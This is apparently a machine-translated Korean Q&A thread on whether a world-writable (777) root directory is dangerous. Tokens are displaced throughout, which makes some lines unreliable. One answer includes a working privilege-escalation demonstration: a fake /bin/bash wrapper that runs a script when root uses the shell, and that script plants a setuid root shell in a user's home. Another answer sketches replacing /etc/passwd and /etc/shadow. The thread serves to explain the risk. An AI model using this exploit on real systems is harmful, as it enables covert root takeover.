
하지만 대부분의 내용은 755입니다.
이것이 문제입니까?
답변1
/
실제로 777
권한을 설정할 수 있다는 점이 흥미롭습니다 . 폴더 에는 권한 /
이 없어야 합니다 777
. 이는 시스템에 로그인한 모든 사용자가 /
루트 수준에서 파일과 폴더를 생성할 수 있음을 의미합니다. 나는 이것을 VM에서 테스트했고 당신은할 수 없다가 777
아닌 폴더나 파일을 삭제 하거나 . 폴더 자체에 액세스하려고 시도하면 권한이 거부되는 것처럼 액세스 권한은 계속 준수됩니다 . 그러나 그럼에도 불구하고 폴더를 이동하여 약간의 혼란을 야기할 수 있습니다.sudo
root
owner
/root
/root
/root.old
이 문제를 해결하려면 실행하여 sudo chmod 755 /
권한을 원래대로 변경하면 됩니다. sudo chown root:root /
루트 자체가 소유하고 있는지 확인하기 위해 실행할 수도 있습니다 .-R과 함께 해당 명령을 실행하지 마십시오. 이렇게 하면 파티션의 모든 파일과 폴더가 권한 및 소유권과 일치하도록 변경됩니다.
도움이 되었기를 바랍니다!
답변2
/
세계적으로 쓸 수 없어야 함
/
세계적으로 쓰기 가능하다는 것은거대한문제. 에 대한 쓰기 권한이 있으면 /
모든 사용자는 에서 파일이나 디렉터리를 이동하거나 이름을 바꿀 수 있습니다 /
. 이는 모든 사용자가 이나 다른 디렉토리를 자신이 선택한 디렉토리로 바꿀 수 있음을 /etc
의미 /usr
합니다 /
.
서비스 거부: 사소한 일
/etc
모든 사용자는 및 이름을 변경하여 시스템을 간단하게 DoS할 수 있습니다 /usr
.
권한 상승: 약간 덜 사소함
권한 상승을 수행하는 것이 약간 더 어렵습니다. 사용자는 /bin
자신의 복사본과 사용하려고 시도하는 모든 프로세스로 대체할 수 있습니다 cp
.쉘을 시작하다, 즉시 자비를 베풀 것입니다. 사용자가 해야 할 일은 루트로 실행되는 프로세스가 의 명령을 사용 /bin
하거나 루트 사용자가 로그인을 사용하기를 기다리는 것뿐입니다.
예
bash.c
:
#include<sys/types.h>
#include<unistd.h>
int main(int argc, char*argv[], char *env[])
{
if (getuid() == 0) {
system("/home/muru/foo");
}
execve("/bin/bash", argv, env);
}
foo
:
#!/bin/sh
mv /bin /..bin
mv /.bin /bin
rm -rf /..bin
cp /bin/bash /home/muru
chown root:root /home/muru/bash
chmod u+s /home/muru/bash
그런 다음:
$ gcc -o bash bash.c
$ mkdir /..bin
$ cd /bin; for i in /bin/*; do ln -s /..bin/"$i" /.bin/"$i"; done
$ mv /bin /.bin
$ mv /..bin /bin
$ cp bash /bin
그리고 다음에 루트가 셸을 시작할 때 홈 디렉터리에 setuid 실행 파일이 생기며, 이를 통해 원할 때마다 많은 흔적을 남기지 않고 루트를 얻는 데 편안하게 사용할 수 있습니다.
답변3
/
아니요. (루트 디렉터리)이 권한을 갖는 것은 안전하지 않습니다 777
. 즉 rwxrwxrwx
, 모든 사용자는 루트 디렉터리에 대한 쓰기 권한을 가지고 있습니다.
해당 권한이 있으면 모든 사용자는 새 하위 디렉터리를 만들고, 기존 하위 디렉터리를 삭제하고, 기존 하위 디렉터리를 바꿀 수 있습니다. 예를 들어, 악의적인 사용자는 /bin
이를 삭제하고(이름을 변경하여 /bin.old
) /bin
악성 실행 파일이 포함된 자신이 소유한 새 파일을 생성할 수 있습니다. 또는 사용자가 삭제 하고 /etc
(이름을 변경하여 /etc.old
) 사용자가 시스템의 모든 계정에 로그인할 수 있도록 하는 새 및 파일이 /etc
포함된 새 계정을 생성할 수 있습니다./etc/passwd
/etc/shadow